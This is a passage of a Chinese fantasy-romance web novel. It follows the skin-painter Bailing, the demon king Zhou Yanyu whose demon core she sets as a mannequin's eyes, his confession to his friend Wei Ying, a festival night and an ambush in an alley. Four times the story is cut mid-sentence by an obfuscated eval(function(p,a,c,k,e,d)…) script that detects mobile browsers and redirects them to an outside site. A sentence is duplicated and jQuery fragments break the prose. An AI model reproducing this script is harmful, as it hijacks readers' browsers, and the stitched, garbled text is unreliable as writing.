直到门外那沉重而缓慢的脚步声彻底消失在走廊尽头,她紧绷的肩膀才猛地垮塌下来,缓缓地靠在了冰凉的门板上。 房间里死一般寂静,静得能听见自己紊乱的心跳声。 “我做得没错。”她对着空无一人的房间,试图说服自己一般地重复着,“这是最好的结果,没错……” 她深吸一口气,想压下心头那股莫名的烦躁,转身走向工作台,试图用她最熟悉、最能让她安心的事业来驱散所有杂乱的心绪。 她抬手,有些用力地掀开了覆盖假人的白布。 一张完美的下半张脸,猝不及防地暴露在昏暗的光线下。 她已经细细为这张脸上过色,肌肤纹理细腻,早已脱离了泥胚灰蒙蒙的死寂。 尤其在那张她反复雕琢的嘴唇上,她不知晕染了多少遍,才呈现出如今这种有层次的、宛如初生花瓣般的淡粉色泽。 而上唇中央那颗精心塑造的唇珠,颜色略深,如同凝聚在花瓣尖端、将坠未坠的露珠,饱满欲滴。 尤其在那张她精心雕刻的嘴唇上,她一遍遍上色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133162|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晕染,最终才呈现出有层次的淡淡粉色,像盛放的花瓣,而上唇中间的唇珠,则如同花瓣上的露珠一般,摇摇欲坠。 她的视线上移,对上他漆黑的眼洞,仿佛有种力量让她忍不住陷进去。 本来想将眼睛留在最后一步,但此时此刻她不想等了。 心中有股强烈的欲望驱使她要填满他的眼框。 否则其他地方无论有多么逼真,都无济于事,没有灵魂。 她将周延玉的妖丹还有自己拿命换来的花珀小心安放在假人脸上。 接着,是更进一步的精雕细琢。她用刻刀划出宽窄恰到好处的眼皮,再一根一根地接上纤细的睫毛。 她用最细的笔,蘸上朱砂,在眼角与下眼睑处勾勒出淡红的线条,这抹色彩瞬间为这双非人的眼眸注入了鲜活的生命力。 当最后一笔落下,她才惊觉自己的额头已布满了细密的汗珠,执笔的手臂也因为长时间的专注而微微颤抖、发酸。 然而,当她抬起头,再次迎上那双刚刚诞生的眼睛时,所有的疲惫都在刹那间烟消云散。 两颗琥珀色的眼珠,颜色并不完全一致,一者深邃,一者清浅,它们相互映衬,在暗处流转着温润而神秘的光华,凑近一闻,还有股淡淡的松香。 房间内的光线依旧昏暗,但这双眼睛却仿佛自带光芒,一眨不眨,正直直地、出神地凝视着它的创造者,百灵。 “愿为您……奉献一切。” 梦中那低沉而虔诚的誓言,与现实界限在这一刻变得模糊不清。 百灵忍不住伸上抚上他的脸颊,而那双深情眼始终坚定不移盯着她。 她手底下亲手捏制过许多张脸,从未有过这样让她心神不宁的。 想据为己有的感觉也前所未有的强烈。 她情不自禁用脸颊轻轻贴了上去,相接的瞬间,坚硬的触感唤醒了她的理智。 这只是个假人而已…… 没关系,是假人也好,至少不会骗她,惹她生气。 但如果变成真的,似乎也不错呢,最好能完完全全,按着她的心意来。 她将白布重新盖住假人,中断了不切实际的幻想,回归现实。 百灵躺在床榻上,忍不住胡思乱想起来。 如果周延玉不喜欢她就好了,这样她也不至于做到这种地步。 当初她和上一任分手时,有一个很重要的原因就是上一任严重干涉到了她的画皮事业,总想占据她的时间。 那阵子她为了照顾对方的情绪耽误了不少功夫,还丢了一些生意。 后来她下定决心再也不让自己陷入到这种情感纠葛之中。 从心底讲,她不认为周延玉是个多坏的人,他是骗了她,但没对她造成什么实质性的伤害,认错的态度也不错。 其实那次她在迷谷,最后遇到迷谷坍塌时,能遇见周延玉,她是很开心的。 而他的担心和照顾,她也能切身感受到。 但她无法做出回应了。 “不要给了他期望,又带给他失望。” 宋清河的话是有道理的。 周延玉再怎么难过,估计也会随着时间慢慢淡忘,然后回到属于他的妖界。 48. 第 48 章 回去的路上,周延玉失魂落魄,那一脸的狼狈与消沉,正好被守在途中的卫影撞了个正着。 若在平日,他定会在卫影面前强撑起几分姿态,维持住表面的从容。 可这一次,他连一丝伪装的力气都提不起来了。 “你们……吵架了?”卫影看着他这副模样,主动开口问道。 这些天百灵对周延玉的刻意冷落,他都看在眼里,此刻见周延玉从百灵房间的方向出来,又是这般情状,心中已猜到了七八分。 只是,他从未见过周延玉如此了无生气的样子。 “嗯。”周延玉几乎是立刻就承认了,倾诉道,“她说她讨厌我。” 看见卫影的那一刻,他忽然明白,自己这些话除了藏在心里,也没有什么人能说的了。 “讨厌你?为什么?” “因为我骗了她。”周延玉的声音干涩,“当初为了隐藏身份,我随口说自己是女子。后来连我自己都快忘了这桩小事,可她不知怎么发现了。” 卫影心中咯噔一下,这不正是那天百灵来问自己,然后他阴差阳错之下说出了真相。 但这事要严肃说,也不能怨他,因为周延玉实在对他隐瞒了太多。 “若是因为这个百灵生气,倒也情有可原。”卫影佯装不知内情,试图安慰,“但我觉得她是个通情达理的人,过几日等气消了,或许就没事了。” “不。”周延玉苦笑着摇了摇头,“她说她再也不想见到我,要和我断绝关系。” 卫影大受震惊,印象中百灵不会是这样的人,她温和且理智,这事是周延玉有错在先,但也不至于断绝来往吧。 “她在说气话吧?” “不,她是认真的。”被迫揭开伤疤,周延玉抬起头,努力睁大眼睛,想逼回那阵不争气的酸涩。 察觉到周延玉微红的眼圈,卫影才知道他说的是真的。 “既然如此……”卫影深吸一口气,强迫自己冷静下来,回归到最实际的考量,“还是把妖丹要回来吧,我想了想,如此重要的东西,还是放在我这里更为稳妥。” 他虽也对周延玉心有怨气,但遇到此等关乎性命的正事,他必须清醒。 既然要断,就该断得干干净净,妖丹乃性命攸关之物,越早拿回越安心。 “不用。”周延玉却想也没想就拒绝了,“她要用来做新身体的眼睛。等比试结束之后再说吧。” “什么?!” 卫影震惊得几乎失语。百灵竟要拿妖丹去做如此荒谬的事情。而更荒谬的是,妖丹的主人竟表现得如此不在意,那可是他的命脉啊。 “你如果不想亲自去,”卫影压下心头的惊涛骇浪,再次提议,“我可以帮你去要回来。” “真的不用。”周延玉再次强调,语气里带着一种偏执的坚持,“她对这次比试,对她的事业很在意,现在拿走妖丹,她会不开心的。” 卫影脸上的表情变得极为复杂古怪,他完全无法理解,更无法共情周延玉此刻的逻辑。 百灵的事业,难道比他自己的性命还要重要吗? 而且他上次分明不是这样说的? 看着周延玉这副魂不守舍、言行异常的模样,卫影终于鼓起勇气,将那句盘旋已久的话问出了口:“你是疯了吗?” 没成想,周延玉听后,脸上竟未见半分恼怒,反而浮现出一种异样的平静。 随即,他幽幽地、几乎是带着一丝认命般的颓然,轻声道:“是啊……我是疯了。” 将妖丹留在百灵那里,至少他们之间还有着这最后一丝脆弱的联系,还不至于彻底的一刀两断,形同陌路。 他抬起眼,望向满脸难以置信的卫影,用一种解脱的语气,吐露了那个压在心底最深处的秘密: “卫影,我爱上她了。” “……” 此话一出,如同惊雷炸响。 卫影彻底失声,所有未出口的劝诫和道理,在这一刻都显得苍白无力。 是了,从迷谷那时,周延玉不听劝阻,执意要去保护百灵起,他就曾怀疑过,周延玉动心了。 他只是万万没有想到,周延玉竟会沦陷得如此之深,如此彻底。 深到为了她,连自己的命,都可以不管不顾了。 …… “卫影,最近你那有什么情况吗?” 送走了周延玉,卫影的那枚月牙吊坠遍传来久违的周玄玉的声音。 “玄玉哥,我们这一切安好。” “那就好,我安插在冥界暗中保护你们的线人察觉到延玉的气息不稳,我担心你们是不是出了什么事儿?” 妖丹都不在自己身上,当然气息不稳。 只是卫影总不能告诉周玄玉身为一妖之主的周延玉,把自己的妖丹送给了画皮师当眼珠子吧。 “应该是他近期思虑过重导致的,你放心,我们都好着呢。”卫影解释道。 “思虑过重?”周玄玉敏锐捕捉到话中的细节,“是怎么了吗?” “嗯……”卫影绞尽脑汁找补道,“他前阵子去了趟无忧阁,或许是遇到了什么,我还没来得及细问。” “无忧阁,那是什么地方?” “是叶知舟搞得,就是上次我和你提到的那人,说是去了无忧阁可让人忘情忘忧。” “关于叶知舟,我已经派人探查过了,他确实和冥王有所勾结。”周玄玉话锋一转,“当务之急,还是要先保重延玉的安危。” 卫影心中警铃大作:“那边有什么动静吗?” “我虽然下了通缉令,但冥王疑心很重,势必要除掉延玉,叶知舟又一直在你们身边,我担心他们会联手行动。” 卫影心中又开始打起周延玉妖丹的主意。 在这种生死存亡的关键时刻,君上已经不理智了,但是作为下属的他不能袖手旁观。 周玄玉显然跟他想到了一处:“妖丹是最为重要的,延玉现在定附身在假人身上,我的想法是,可以将妖丹另外藏起来,然后用假身体制造一场假死。” “嗯,有道理。”卫影认可道,“其实君上也有这个想法,他认为最危险的地方或许是最安全的地方,准备把自己的妖丹放在画皮比试的假人身上。” 有了周玄玉的引导在前,他总算能为周延玉那荒唐行径,蒙上一层合乎逻辑的策略外衣。 “这样也其实可行,但你也不要放松警惕,时刻盯紧些。”周玄玉嘱托道。 “我会的,放心吧。” …… 结束了与周玄玉的对话,卫影心中依旧惴惴不安。他思虑再三,还是决定去找百灵谈一谈。 他刚抬手敲了两下门,里面便传来一个极其不耐烦的声音。 “我说了很多次了,别再来找我了。” “……是我,卫影。” 想都不用想,那些话定是对着周延玉说的,他忽视有些同情一厢情愿的周延玉了。 门内沉默了片刻,再响起时,百灵的语气已恢复了平常的语调:“进来吧。” 卫影推门而入,见百灵正背对着他,佯装专注地摆弄着工具,头也不回地问:“有什么事吗?” “小骨的妖丹,是不是在你这里?”卫影无意迂回,开门见山。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137771|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “嗯。”百灵动作几不可察地一顿,心头掠过一丝不祥的预感,“是他找你来要回去的么?” 说实话,她并不想归还,可那终究不是她的东西。 “不是。”卫影否认道,“他并不知道我来找你。” “……哦。”百灵悬着的心,稍稍落下了几分。 “其实我是劝他要回来,但他不愿意。”卫影想了想,还是替周延玉说了句好话,“他说要回来,你会不开心的。” 百灵顿时感到一阵无所适从,仿佛心底某个柔软的角落被轻轻戳了一下。 “他骗了我,这是他应该付出的代价。” 她只能通过更加嘴硬的方式,来让自己显得理直气壮,也让周延玉那不合常理的奉献,显得稍微合理一些。 “这世上,没有哪个人,应该毫无保留地将自己的性命交托给另一个人。”卫影说了一句再公道不过的话。 “那也是他自愿的!”百灵猛地转过身,语气有些急促,“我又没有逼他。” “这是他的决定,没错。”卫影的目光平静而真诚,“但你也不至于此,我知道你不是一个冷漠无情之人。” 与宋清河相比,百灵是卫影在冥界遇到的,为数不多的、心存善念的人。 她明明自身亦是画皮师,却会主动来帮他搬抬行李,会出言关心问候,甚至会在宋清河面前为他说话。 百灵那强撑的硬壳,似乎被卫影这番真诚的话语敲开了一道缝隙。 “我也有自己的苦衷。”百灵用一句话简单带过,随即妥协道,“如果他真的需要把妖丹拿走,那我也不会强留的。” “不,我来并非为了讨回妖丹。”卫影解释道,“我只是想来提醒你,已有人盯上了他。这颗妖丹关乎他的生死,请你务必妥善保管。” 他顿了顿,出于周全的考虑,又补充道:“其实,将妖丹留在你这里,于你而言,也是一种隐患,你若觉得不便,我可以代为保管。” 百灵陷入了沉默。 果然美丽的事物都是危险的。 可只要一想到,那张完美无瑕的脸上,若独独缺了这样一双点睛之笔的眼睛,该是何等巨大的遗憾? 她千辛万苦寻来的花珀,不就是为了和它做配吗? 就这样拿走的话,那她的努力岂不是都白费了。 “没事,就放在我这儿吧,我会好好看管的,你放心。” “好,如果有需要,随时来找我。”卫影选择尊重她的决定。 周延玉看的没错,这颗妖丹于她而言真的很重要。 “我和小骨从小一起长大,他一直沉迷于让自己变得强大,从来没有喜欢过任何的姑娘,我想这一次,他是认真的。” 走之前,卫影不忘在替周延玉美言几句。 百灵抿紧了唇,无言以对。 原来周延玉喜欢她这件事只有她这个当事人后知后觉吗? “我也是第一次见他这么脆弱颓废的样子,我知道这也不全是你的原因,是他一直以来太自信了,从小到大就是天之骄子,受不起打击也情有可原。” 卫影尝试让自己处在一个中立客观的位置。 “你们之间,也没必要弄到这个份上,我想过不久他就会想开的,希望你也能再好好考虑考虑。” 毕竟如果他们的合作关系中止,那也就说明了卫影也要同步切断和百灵的联系。 而这份联系,他私心里,也是有些不舍的。 “我知道了,谢谢你,卫影。” 百灵没有明确表态也没有冷言否认,只是露出一个淡淡的复杂笑容。 49. 第 49 章 画皮比试的决赛终于要拉开帷幕,只是比赛的设置上却很奇怪。 画皮师和学徒要分开行动,学徒依旧可以帮画皮师打下手,但需得通过中间人,只有在最后的展示阶段,两人才能会面。 芜月楼对此的解释是,防止学徒过度参与,影响比试的公平性。 “写给外人看的东西。”宋清河精准点评,“真有关系的人谁也防不住。” 但百灵的关注点却不在此。 她不认为这是冠冕堂皇的口号,而是蓄意为之的圈套。 不久前卫影才和她说周延玉妖丹被人盯上了,现在就要他们二人分开行动,未免过于巧合了。 她确实不想也见到周延玉,但他的妖丹在自己手里就跟个烫手山芋似的。 她这几日想明白了,为了比试,她可以不逃避周延玉,只要不主动说话沟通就行,反正画皮的事他也帮不上忙,自己把他当空气人就是了。 谁知她刚做好心理建设,叶知舟就来了这么一下。 为此她特意私下找到卫影商议此事。 卫影也认可她的看法,认为这事一定不简单。 而且他们二人分开,也就意味着周延玉和他的妖丹分开了,若真的出现不测,他也不能及时拿回妖丹自保。 可没有妖丹,百灵的作品就无法完成,她一时间也找不到合适的替代品,也不想轻易放弃这完美契合的眼珠子。 事情陷入了僵局。 “能不能到时候让他偷偷跟着你呢?”卫影也实在没招了。 “不行,他那么大个人,肯定是跟不了的。”百灵否定了他这个不现实的提议。 “那不如让他附身到其他人身上跟着你呢?”卫影灵机一动,想到他们的魂魄可以离体。 “可是可以行得通。”百灵凝眉思忖,“可他也不能一直附身在别人身上吧,容易让人怀疑,而且一个陌生人在我旁边,也说不过去。” 百灵相信叶知舟绝对不会让安排好的事出现纰漏。 “也是,这样太冒险了……” “对了!”百灵脑中灵光一闪,“带人不行的话,我可以不带人啊!” “什么意思?”卫影一头雾水。 “你们不是狗狗吗?可以变成原型藏在我的箱子底下,我偷偷带进去不就是了。” 而且变成了狗还不用和她沟通了,看不见那张烦人的脸,两全其美。 “这……”卫影挠挠头,“也不知道他愿不愿意。” “这有什么不乐意的,你们的原型难道很丑吗?”百灵敞亮道,“放心吧,我不介意的。” “不是的,他的原型很大,起码与这个房间一般大小。” “什么?”百灵震惊,“有这么大啊!” 她以为不过是带个小狗崽进去,结果是个坐骑。 周延玉到底是个什么妖怪啊?发育过度吗? “你听我说完,虽然原型很大,但是也可以控制变成比较小的形态。”卫影耐心解释,“但是那个样子看起来比较弱小,所以不知道他愿不愿意。” “那有什么的,你不是说他喜欢我吗?变成小狗又怎么样?”百灵话说得直白,“而且他的妖丹也在我这,怎么说都没有拒绝的理由吧。” “是这样没错……”卫影为难道,“可是据我所知,他很不喜欢自己那副样子,我曾经不小心见过一次,他都赌气几天没理我。” “至于吗?”百灵无法理解。 “总而言之,这事也许行得通,但我不敢和他说。” 言外之意,要百灵自己上。 “你这不是让我打自己的脸吗?”百灵也不情愿,“明明我义正严辞和他说了再也不理他了,怎么可能还去劝他。” “可是也只有你能劝他了,我想他也只听你的了。”卫影颇有自知之明。 百灵依旧不为所动,心中的天平出现了微不可查的一丝摇摆。 “没事的,你就跟他说,是我逼着你去的,我也会提前和他打声招呼,怎么样?” “可是我突然这样子,也太奇怪了……”百灵十分为难。 “不然这样,我以我的名义单独约你们出来,然后你假装不知情,再和他提起这件事,如何?” 卫影已经不在乎把自己放在一个小人做派的位置上。 “只要他答应了,你就可以安心拿他的妖丹做眼睛了。” 显然卫影也摸清了百灵的软肋,知道说什么才能触动她。 果不其然,百灵终于松口同意了。 …… 卫影是个行动派,很快就约好了周延玉在闹市相见,说是有事相谈。 正好赶上了鬼节,幽都街头格外热闹,来来往往的鬼,也好掩人耳目。 幽都的街道灯火通明,人群最为集中的几个街道上方挂满了鲜花,喜气洋洋的。 周围都是一片喜人的祥和气氛,百灵身处其中,也被这氛围感染,淡化了几分要和周延玉交谈的不满。 她还在街边小贩处买了一个狐狸面具戴上,这样可以神不知鬼不觉打量身边经过的人。 “人在哪呢?” 卫影只说街上相见,但也没说个具体位置,这叫人怎么找。 要是没遇见或是错过了也不能怨她,她可不想再来一次了。 走着走着,她不小心撞到了一个同样戴着面具的人身上,她本能的啊了一声,匆忙说了句“对不住”,继而往后一退。 那人显然也愣住了,呆立在原地没有反应过来。 百灵狐疑看了眼前这个奇怪的人一眼。 见他迟迟未有反应,她也懒得浪费时间,转身欲走,谁知那人蓦一伸手,把百灵一把拉了回来。 百灵心中登时升起一股火,抬手就要去摘他的面具,看看是谁这么没礼貌。 她刚要开口斥责,却在看清面具下那张熟悉面孔的瞬间,怔在了原地。 竟是她寻觅半天的周延玉。 她面具取得可谓是毫无温柔可言,周延玉头发凌乱,还有几缕任性的垂在眼旁。 不知是不是这花儿怜惜,竟不偏不倚落了几片在他头上。 “真的……是你。”周延玉不可思议地轻声道,语气中带着一丝恍惚。 是他先在熙攘人群中,捕捉到了百灵身上那抹独特的气息,本来以为是思念成疾产生的幻觉,可那气息却愈发真切。 直至他下意识地循息靠近,与未曾留意的百灵撞了个满怀,他才敢确信,自己并非身在梦中。 周延玉出现的太过突然,百灵一时间不知作何反应。 “桥头那一片在放烟花,一起去看看吗?” 千载难逢的机会,周延玉自然不想放过。 百灵低着头,看不出脸上表情,也没有答复。 周延玉忽视抬手拿回百灵手上自己的面具又自己重新戴上。 百灵疑惑看向他。 “这样你就看不见我了,我们可以一起去了吧。” 他说到这份上,百灵没有拒绝的余地,默默点了点头。 即使不说话,只是和她走在一起,周延玉就难得满足了。 百灵觉得闷,自顾自摘下了面具,反正周延玉戴着就行了。 二人走到了桥上,周延玉忍不住侧头去看百灵,她神色淡然,和往常并没有什么两样。 “百灵......” 百灵稍偏了头,言简意赅道:“何事?” 周延玉道:“对不起。” 百灵:“……” “我是妖王,被追杀到了冥界,为了隐藏身份,迫不得已才骗了你。” 周延玉几乎彻底放下了伪装,将自己妖王的身份就这么云淡风轻说了出来。 妖……王? 百灵表面不动声色,内心早已掀起一片波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145189|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涛海骇浪。 周延玉是妖王吗?来头这么大的妖怪! 难怪卫影说他的原型和房间一样大,果然不是一般的妖怪啊。 他还会回溯,给自己传一丁点妖力就力大无穷了,原来一切有迹可循。 她拿妖王的妖丹当自己画皮比试的假人眼睛,真是够有胆的。 “你还在生我的气吗?”周延玉小心翼翼试探道。 “今天我不想和你说这个。”百灵跳过了这个话题,转而把早就准备好的话告诉他。 “变成小狗吗?”周延玉重复了一遍,而后不假思索道,“可以。” 可以? 这么轻易就答应了吗? 卫影怕不是在唬她吧? “你不是不喜欢变成小狗吗?”百灵侧身看向他。 难不成真的是因为她吗?会不会太草率了些…… “那是以前,现在不一样了。” 隔着面具,周延玉的声音闷闷的。 “以前我觉得那个样子很脆弱很丢人,所以我不喜欢。可是后来我发现,我不仅是妖王,也是一个妖,不可能永远都保持强大的样子。” 得知真相后,百灵心安了,还好还好,周延玉对她的喜欢没有不理智到这种程度。 “而且,能在信任的人面前展露自己脆弱的模样,我喜欢那种感觉。” 那是一样种被稳稳接住,被安全感温暖包围的感觉。 毫无疑问,他话中信任的人指的是百灵。 “你,到底为什么会信任我?” 即使他们是盟友,但百灵也觉得周延玉对于自己的信任太超过了,如果简单用喜欢来解释,不能让她信服。 “因为你强大、坚定,有目标且不轻易退缩,勇往直前,待人直率,每一点都让我忍不住相信你。” 被人这么直白的夸奖,百灵有些不好意思了。 “可我也不是一直像你说的那样子,也有过胆小退缩的时候。” 就比如面对周延玉的感情。 “如果你真的一直像我说的那样,我反而不会信你了。” “为什么?” “因为太完美太虚假了,像泡沫一样一触即碎,表面上看起来很吸引人,但实际是假象,而且脆弱不堪。” 百灵似乎领悟了他的意思,“就像那些假人一样是吗?完美无暇,实际内心空洞。” “嗯。” 就在百灵沉浸于思绪之际,周延玉却轻轻拉住她的衣袖,示意她抬头望去。 “看,烟花。” 偌大的夜幕像一块巨大的画布,一尘不染,任由火花在上面肆意盛放,一簇接着一簇,一旁的月色都被衬得黯然失色,倒显得形单影只。 完美无暇,转瞬即逝。 周延玉的话让百灵想明白了一件事。 她为什么痴迷于自己造出来的人。 她之所以痴迷于自己创造的假人,正是因为她偏爱这些完美却脆弱的存在。只要在她的精心呵护下,它们便能永远维持着完美的表象。 她也贪恋这份脆弱,这赋予了她无限的想象空间与守护的欲望。 “谢谢你。”她忽然开口,声音轻融在漫天星火与喧嚣之中。 周延玉以为她是在感谢方才的夸赞,立刻追问:“那……你可还生气?” “当然。”百灵唇角微扬,勾勒出一抹带着些许傲娇的笑意。 周延玉看出她的口是心非,心下愉悦道:“那我走了。” “什么?”百灵怀疑自己听错了。 “卫影同我有约,我要去找他。” 虽然眼下氛围正好,他舍不得离开,但和卫影的约定已经因为百灵耽搁了。 “去吧。” 不知为何,百灵心中那股说不清的压力在此时轻了一点。 但只剩她一人在桥上时,也多了几分难以言喻的落寞。 50. 第 50 章 “灵姐,你什么时候养了条狗啊?” 白夭夭指着百灵怀里那只黑灰色的小狗说道。 “这个……”百灵有些难为情道,“是小骨。” “什么!”白夭夭惊呆了下巴,“这是他的原型吗?一只灰不溜秋的小狗崽子……” 周延玉:“……” 如果可以,他真想找个地缝钻进去。 百灵无奈,向白夭夭讲清楚了事情原委。 听完,白夭夭眼中闪过一丝狡黠的光,她伸出手,不轻不重地掐了一把小狗软乎乎的耳朵,佯装凶狠地压低声音:“呵,你也有今天啊。” 周延玉扭开头,并不理会,只把脑袋埋得更低,试图躲避她的魔爪。 “老实交代,你是不是故意变成这样好接近灵姐,占她便宜啊?”白夭夭并不打算放过狗形态的周延玉。 “夭夭……”百灵终于出言制止了她,“是我让他变成这样的。” 说完,她似乎是为了安抚,下意识地抬手,轻轻摸了摸那颗毛茸茸的小狗头。 不得不说,周延玉这小狗形态的手感极佳,皮毛蓬松柔软,带着暖意,让她总是忍不住想多薅两把。 说到占便宜,应该是她才对。 “我怕叶知舟怀疑这只狗来历不明,所以假装这只狗是你捡来的,然后送给了我,可以吗?” “可以啊。”白夭夭爽快答应。 “那在此之前,你可能需要单独和他相处一下,在外人面前做个样子,你介意吗?”百灵小心翼翼道。 “不介意,交给我就是了。”白夭夭又是一个点头同意。 “太好了夭夭。”百灵感激不尽,“等比试结束,我一定请你吃顿大餐。” “一言为定。” 临走时,百灵隐隐担忧,叮嘱了几遍白夭夭千万不要和一只狗一般见识。 周延玉:“……” 难道不应该担心担心他的安危吗? 百灵的身影刚一消失,白夭夭脸上那灿烂的笑容就慢慢收敛了。她缓缓蹲下身,与蹲坐在地上的小狗平视,脸上没什么表情。 “好了,灵姐走了。”她语气平淡地宣布,“这下,可没人能罩着你了。” 在周延玉的狗眼视角里,此刻的白夭夭,背后仿佛升起了恶魔的翅膀。 他就知道!她答应得那么痛快,准没安什么好心! 他们俩从初次见面就互相看不顺眼,如今让他落到她手里独处,后果不堪设想。 白夭夭看着他戒备的样子,轻笑一声,似乎看穿了他所有心理活动,慢悠悠地伸出了手。 周延玉决定先发制人!后腿猛地用力一蹬,小脑袋迅速前探,张嘴一口虚虚地含住了白夭夭的虎口! 他并没有用力,只是龇着牙,从喉咙里发出低低的呜声作为警告。 白夭夭没有挣扎,也没有缩手,就这么任由他咬着,一人一狗维持着这个诡异的姿势,僵持了许久。 终于,周延玉先支撑不住,松开了嘴,向后退了半步,圆溜溜的狗眼里充满了警惕和狐疑。 就在这时,他余光瞥见白夭夭换了一只手,又朝他伸了过来。 是百灵的朋友,别伤害她,别伤害她…… 周延玉一边默念,一边任命般地闭上了眼,准备迎接可能的报复。 然而,预想中的敲打或揪毛并没有到来。那只手只是轻轻地落在了他的头顶,然后带着点笨拙的温柔,大力揉了两下。 周延玉猛地睁开眼,眨了眨他圆滚滚的小狗眼,一脸的茫然。 “你把我想成啥了?”白夭夭又戳戳他的头,“我是那种私底下使坏的小人吗?” 周延玉内心汗颜。 “我告诉你,我可是看在灵姐的面子上才留下你的,你别不知好歹。” 周延玉无语,他还什么都没做呢,真是好大一口锅从天而降。 “不过老实说,你这个样子还有点可爱,看着没以前那么讨厌了。” 白夭夭没有一句话说到周延玉的心里。 “既然你变成了小狗,那应该需要多到外面活动活动吧。”白夭夭自言自语一阵,然后不等周延玉回应就自作主张道,“走吧,我们出去遛遛。” 其实是白夭夭自己觉得在屋子里太闷了,想出去透透气。 周延玉别无选择,被白夭夭套上绳子带出去了。 反正他如今这副模样也没有人能认得出他是妖王。 幽都的街市依旧延续着昨夜鬼节的喧嚣。 白夭夭被不远处摆放的祈福盒吸引了目光,兴冲冲地牵着周延玉过去。 然而,周延玉却在混杂的人气中,敏锐地嗅到了一丝不寻常的危险气息。 就在这时,白夭夭身侧忽然挤进来了一个卖糖葫芦串的小贩,那串架摇摇晃晃,很不平稳,眼看就要落下。 果不其然,那小贩惊叫一身,串架随之倒下,刚好朝向那祈福盒,盒中钱币撒了一地,百姓争抢着去夺,场面顷刻乱成一锅粥。 白夭夭愣神之际,突然有人伸手抢走了她别再腰间的荷包。 “有小偷!抓小偷啊!”她立刻大叫起来。 但混乱之中,无人理会。 白夭夭也没有寄希望于他人,自己朝着小偷跑开的背影拔腿就追。 周延玉也紧随其后。 很明显,周延玉四条腿的速度要远超白夭夭。 不过奇怪的是,前方那小偷的身法也快得异乎寻常。 周延玉紧追不舍,最终被引至一条无人昏暗的死巷。 他其实不怕和那小偷正面交锋,如今敌在明我在暗,很明显他落了下风。 那小偷一定在这附近,说不定正注视着他。 能有如此惊人反应力的,不是鬼,是他的同类。 他能感觉到,此妖也并非善类。 周延玉闭上了双眼,没了目识,取而代之的是其他感官敏感度在无形中得以放大数倍。 氛围静的瘆人,偶有瑟瑟凉风吹过,落叶沙沙作响,宛如毒蛇吐信,无端叫人生出一股寒意。 少顷过后,那小偷开始行动。 “咻!” 一枚带着妖气的梅花镖从上空飞来,卷着杀气,撕破气流,直取周延玉的后脑勺。 周延玉倏地偏头躲过,那梅花镖通灵似的调转方向,以不输来时气势镖指喉头,意在索命。 梅花镖从飞出到回转不过瞬息的功夫,就是不给人又二次躲闪的机会。 周延玉仗着身形小巧灵活,猛地向侧旁翻滚半圈,镖刃擦着他的皮毛掠过,险之又险。 即便已是二次飞射,那梅花镖去势依旧刚猛,“夺”的一声,深深钉入巷壁旁的一棵老树树干,镖尾兀自颤动不已。 周延玉稳住身形,喘息间低头一瞥,只见那粗糙的树皮竟被镖上妖气侵蚀,瞬间剥离了一大片,连内里的木质都已发黑腐烂,这棵老树,怕是活不过天明了。 “哪来的野狗,敢追老子我!活腻了?” 一个嗓音低哑的男子随之现身。他生着一张清秀面皮,却不合常理地咧着一张血盆大口,露出森白獠牙,模样说不出的违和诡异。 又是一个附身的妖怪。 竟然已经嚣张到这种程度了吗? 周延玉背上的毛高高竖起,身体低伏,死死盯住眼前人。 “哈哈——”那人居高临下大笑起来,“你这只狗倒有意思,竟然不怕我?” “告诉我你的来历,我可以饶你不死。”周延玉淡定开口。 “你会讲人话?”小偷一惊,随即恍然道,“你也是妖怪!” 周延玉沉默应对。 “那又如何呢?”小偷很快释然,得意道,“你连自己的身体都没有,还想跟我斗?” “知道你会因为什么而死吗?”周延玉冷冷道。 “你这只不要命的狗崽子,今晚我就吃你。” 小偷被惹怒了,作势要发起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148035|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新一轮的进攻。 周延玉求之不得。 小偷猛然冲向周延玉,尖锐的爪子从手掌的血肉中刺破,每挥舞一下都势必要将周延玉撕成碎片。 这是可惜,他遇到的不是一只普通的狗。 即使他现在没有妖丹,对付这样的货色,也是绰绰有余。 